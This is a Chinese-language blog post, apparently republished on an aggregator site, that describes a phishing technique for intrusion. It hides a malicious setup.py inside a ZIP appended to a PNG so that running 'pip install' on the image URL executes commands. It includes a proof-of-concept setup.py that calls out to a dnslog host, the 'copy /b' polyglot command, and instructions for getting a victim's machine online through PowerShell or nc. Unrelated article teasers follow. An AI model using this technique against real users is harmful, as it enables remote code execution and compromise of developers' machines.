記錄一次即將出現的釣魚新方式

釣魚通常是內網滲透過程中的最為常見的入口方式,但是隨著藍隊人員溯源反制思路開闊,入侵排查能力提升,釣魚也越來越困難,這里就記一種不同尋常的釣魚方式。

pip install 的執行流程:

  1. 先獲取到遠端的服務器地址 url 比如: http://mirrors.aliyun.com/pypi/simple/
  2. 然后獲取到本地的庫安裝的路徑,通過服務器 url 去查找對應的 django 包
  3. 講找到的包下載到本地
  4. 解壓該包到 python 的 site-packages 文件夾中,然后檢查是否需要依賴其他包,如果依賴就安裝其他的包
  5. 如果有依賴安裝則按照同樣的流程執行,待完成之后包就安裝完成

這里可以看下 pip install 的執行過程

https://blog.csdn.net/qq_33339479/article/details/93094774

這里看下解壓的代碼,這里 down 下來解壓代碼如下

def unpack_file(filename: str,location: str,content_type: Optional[str] = None,
) -> None:filename = os.path.realpath(filename)if (content_type == "application/zip"or filename.lower().endswith(ZIP_EXTENSIONS)or zipfile.is_zipfile(filename)):unzip_file(filename, location, flatten=not filename.endswith(".whl"))elif (content_type == "application/x-gzip"or tarfile.is_tarfile(filename)or filename.lower().endswith(TAREXTENSIONS + BZ2EXTENSIONS + XZ_EXTENSIONS)):untar_file(filename, location)else:# FIXME: handle?# FIXME: magic signatures?logger.critical("Cannot unpack file %s (downloaded from %s, content-type: %s);""cannot detect archive format",filename,location,content_type,)raise InstallationError(f"Cannot determine archive format of {location}")

這里先判斷了 content-type、filename 的后綴,這里兩個都不符合,這里看下最后這個是如何進行判斷。需要注意的是,iszipfile() 函數并不會檢查文件的擴展名或者文件頭等信息來判斷文件類型,而是會嘗試解壓文件并檢查解壓結果來確定文件是否為 ZIP 壓縮文件。因此,即使將非 ZIP 壓縮格式的文件的擴展名改為 ".zip",仍然不能通過 iszipfile() 函數的檢查。

pip install package_name.zip

這種方式下,pip 會在解壓縮安裝包后自動執行 setup.py 文件進行安裝。在安裝過程中,setup.py 文件將會根據包內的 setup.cfg 和 setup.py 文件內容來設置包的安裝參數。

所以就導致了靜默的命令執行

pip install 引發的命令執行

漏洞復現

(1)先寫一段代碼

from setuptools import setup
import osdef test():result = os.popen("ping 9uawvq.dnslog.cn")print(result.read())test()setup(name="root",version="1.0"
)

(2)把 setup.py 先放到一個任意文件夾中,然后再將文件夾壓縮成 zip 文件,然后再將 zip 文件和 png 圖片壓縮成 png 圖片。(具體命令如下)

(3)然后起一個 http 服務,下圖就可以直接訪問到。

(4)虛擬機(受害機)直接執行 pip install "http://172.211.55.3/dog2.png" 這里寫的命令是 ping dnslog 地址。這里 dnslog 成功接收到。

引發的釣魚:

假設是 windows 系統上鉤,那么我們可以讓他執行 powershell 或者 certutils 來進行遠程下載并落地執行。這里還是用之前的方法寫 powershell 不落地執行的投毒。

這里把 setup.py 改為上述的代碼,然后放入到任意文件夾下,然后進行壓縮成 1.zip 然后執行代碼

copy /b dog.png+1.zip dog2.png

然后肉雞執行 pip install "http://xxxxx/dog2.png" 即可成功上線。

直接上線 linux(簡單實用 nc 命令)

這里修改 setup.py 為如下內容,然后按照復現步驟,將文件夾生成文件。

然后用 pip install "http://xxx/dog2.png" 即可成功上線。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/36021.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/36021.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/36021.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

node.js 面試題 1

### 明天要去面試了 今天晚上突擊一下node.js 什么是Node.js?它有什么特點? Node.js是一個基于Chrome V8引擎的JavaScript運行環境,它允許在服務器端運行JavaScript代碼。它的特點包括單線程、非阻塞I/O、事件驅動等 …

dispatch_after

dispatch_after dispatch_after dispatch_after dispatch_after函數并不是延遲對應時間后立即執行block塊中的操作,而是將任務追加到對應隊列中,考慮到隊列阻塞等情況,所以這個任務從加入隊列到真正執行的時間是不準確的。 dispatch_after(…

Kubernetes CSI livenessprobe探活

Kubernetes CSI livenessprobe探活 要實現一個Kubernetes CSI的livenessprobe探活,可以有以下三種方法: HttpServer 1、在CSI中實現一個簡單的HttpServer,暴露探活接口; GRPC探測 2、CSI鏡像中,增加grpcurl命令&a…

單目標應用:基于吸血水蛭優化器(Blood-Sucking Leech Optimizer,BSLO)的微電網優化(MATLAB代碼)

一、微電網模型介紹 微電網多目標優化調度模型簡介_vmgpqv-CSDN博客 參考文獻: [1]李興莘,張靖,何宇,等.基于改進粒子群算法的微電網多目標優化調度[J].電力科學與工程, 2021, 37(3):7 二、吸血水蛭優化器求解微電網 2.1算法簡介 吸血水蛭優化器(B…

【Java Web】Tomcat服務器

目錄 一、Tomcat是什么 二、Tomcat安裝 三、Tomcat相關目錄 四、Web項目標準目錄結構規范 五、Tomcat項目部署方式 六、IDEA關聯本地Tomcat 七、HTTP協議 7.1 http的交互方式 7.1.1 http長連接和短連接 7.1.2 http1.1緩存機制 7.2 http數據報文格式 八、常見響應狀態碼 一、Tom…

印刷企業數字工廠管理系統如何保障產品質量

一、引言 隨著信息技術的迅猛發展,印刷行業也迎來了數字化轉型的浪潮。數字工廠管理系統作為這一轉型的核心工具,不僅在提高生產效率、優化資源配置方面發揮了重要作用,更在保障產品質量上扮演著關鍵角色。本文將深入探討印刷企業數字工廠管…

瀏覽器擴展V3開發系列之 chrome.contextMenus 右鍵菜單的用法和案例

【作者主頁】:小魚神1024 【擅長領域】:JS逆向、小程序逆向、AST還原、驗證碼突防、Python開發、瀏覽器插件開發、React前端開發、NestJS后端開發等等 chrome.contextMenus 允許開發者向瀏覽器的右鍵菜單添加自定義項。 在使用 chrome.contextMenus 之前…

本地讀取classNames txt文件

通過本地讀取classNames,來減少程序修改代碼,提高了程序的拓展性和自定義化。 步驟: 1、輸入本地路徑,分割字符串。 2、將className按順序放入vector容器中。 3、將vector賦值給classNmaes;獲取classNames.size(),賦值給CLASSES;這樣,類別個數和類別都已經賦值完成。…

Python | Leetcode Python題解之第199題二叉樹的右視圖

題目: 題解: class Solution:def rightSideView(self, root: TreeNode) -> List[int]:rightmost_value_at_depth dict() # 深度為索引,存放節點的值max_depth -1stack [(root, 0)]while stack:node, depth stack.pop()if node is not…

第N8周:seq2seq翻譯實戰-Pytorch復現

🍨 本文為🔗365天深度學習訓練營 中的學習記錄博客🍖 原作者:K同學啊 | 接輔導、項目定制 一、前期準備 from __future__ import unicode_literals, print_function, division from io import open import unicodedata import s…

什么是堡壘機(運維審計系統)?

一、堡壘機是什么 1.1 堡壘機的來由 堡壘機是從跳板機(也叫前置機)的概念演變過來的。早在2000年左右的時候,一些中大型企業為了能對運維人員的遠程登錄進行集中管理,會在機房部署一臺跳板機。 跳板機其實就是一臺lunix/windows…

50、基于NARX神經網絡的磁懸浮建模(matlab)

1、NARX神經網絡簡介 NARX(非線性自回歸外部輸入)神經網絡是一種用于非線性建模和預測的神經網絡結構。與傳統的自回歸模型不同,NARX網絡可以接收外部輸入來影響輸出結果,從而更好地捕捉系統的復雜性和非線性特征。 NARX神經網絡…

NodeJs之npm、yarn、pnpm設置最新的淘寶鏡像下載源

NodeJs之npm、yarn、pnpm設置最新的淘寶鏡像下載源 文章目錄 NodeJs之npm、yarn、pnpm設置最新的淘寶鏡像下載源1. 查看默認的下載源1. npm2. yarn3. pnpm 2. 設置最新的淘寶鏡像地址1. npm2. yarn3. pnpm 1. 查看默認的下載源 1. npm C:\Users\jinshengyuan>npm get regi…

STM32 SPI實戰篇:驅動W25Q64 Flash存儲器的技巧與方法

摘要 在嵌入式系統開發中,非易失性存儲是必不可少的一部分。W25Q64作為SPI Flash存儲器的一種,以其較高的存儲密度和擦寫次數受到廣泛應用。本文將深入探討STM32通過SPI驅動W25Q64的實戰技巧和方法,包括硬件連接、SPI配置、讀寫操作&#xf…

競賽選題 python+深度學習+opencv實現植物識別算法系統

0 前言 🔥 優質競賽項目系列,今天要分享的是 🚩 基于深度學習的植物識別算法研究與實現 🥇學長這里給一個題目綜合評分(每項滿分5分) 難度系數:4分工作量:4分創新點:4分 🧿 更多…

基于Java微信小程序自駕游拼團設計和實現(源碼+LW+調試文檔+講解等)

💗博主介紹:?全網粉絲10W,CSDN作者、博客專家、全棧領域優質創作者,博客之星、平臺優質作者、專注于Java、小程序技術領域和畢業項目實戰?💗 🌟文末獲取源碼數據庫🌟感興趣的可以先收藏起來,還…

27. 高級特性(下)

目錄 一、為了類型安全和抽象而使用 newtype 模式二、使用類型別名創建類型同義詞2.1 使用type關鍵賦予現有類型一個別名2.2 減少重復2.3 與Result<T, E>結合使用2.4 從不返回的 never type 三、高級函數和閉包3.1 函數指針3.2 返回閉包 四、宏4.1 宏和函數的區別4.2 mac…

python基礎語法 003-3 數據類型元組

1 元組 1.1 元組含義 1.1.1 元組的表示 #元組的表示方法:() names ("xiaoyun", "xiaoming") print(names)--結果------- (xiaoyun, xiaoming) 1.1.2 空元組 #空元組 names () print(type(names)) print(len(names))----------------結果--------- &l…

安裝vue開發者工具

瀏覽器控制臺提示&#xff1a; 打開網址 GitHub - vuejs/devtools: ?? Browser devtools extension for debugging Vue.js applications. 點擊添加 上圖地址&#xff1a;Installation | Vue Devtools 安裝好了

Spring Boot中如何使用Flyway進行數據庫版本控制

Spring Boot中如何使用Flyway進行數據庫版本控制 大家好&#xff0c;我是免費搭建查券返利機器人省錢賺傭金就用微賺淘客系統3.0的小編&#xff0c;也是冬天不穿秋褲&#xff0c;天冷也要風度的程序猿&#xff01;在現代的軟件開發中&#xff0c;數據庫版本控制是保證應用程序…